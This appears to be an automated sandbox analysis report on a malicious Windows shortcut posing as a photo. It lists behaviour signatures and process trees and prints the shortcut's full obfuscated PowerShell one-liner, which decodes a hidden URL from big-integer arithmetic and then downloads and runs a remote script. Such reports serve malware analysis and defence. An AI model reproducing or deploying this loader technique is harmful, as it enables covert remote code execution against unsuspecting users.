Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/07/2026, 11:41

General

  • Target
    photov_593373192028.lnk
  • Size 2KB
  • Sample260729-ntw52sshqe
  • SHA256 391cbbd946b4a392519f9d828f9a3e390816cedd2f8318c0e4b39ed25ee4c220
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_593373192028.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4124
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$kp3a=74;$k1gln0k=[bigint]::Parse('30059555654876616878409928893404708545078072132');$usxezaw=[bigint]::Parse('30059555654283449787951829926209651275929235419');$k1gln0k=$k1gln0k-$usxezaw;$i0aft=@();while($k1gln0k -gt 0){$i0aft+=[char][int]([bigint]::Remainder($k1gln0k,256));$k1gln0k=[bigint]::Divide($k1gln0k,256)};.([scriptblock]::Create((irm(-join$i0aft))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2136
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Minimized -c "$kp3a=74;$k1gln0k=[bigint]::Parse('30059555654876616878409928893404708545078072132');$usxezaw=[bigint]::Parse('30059555654283449787951829926209651275929235419');$k1gln0k=$k1gln0k-$usxezaw;$i0aft=@();while($k1gln0k -gt 0){$i0aft+=[char][int]([bigint]::Remainder($k1gln0k,256));$k1gln0k=[bigint]::Divide($k1gln0k,256)};.([scriptblock]::Create((irm(-join$i0aft))))"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3660

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_onmebpei.bp2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_onmebpei.bp2.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3660-0-0x0000020E75310000-0x0000020E75320000-memory.dmp

        memory/3660-1-0x0000020E75310000-0x0000020E75320000-memory.dmp

        memory/3660-7-0x0000020E774C0000-0x0000020E774E2000-memory.dmp

        memory/3660-10-0x0000020E75310000-0x0000020E75320000-memory.dmp

        memory/3660-11-0x0000020E75310000-0x0000020E75320000-memory.dmp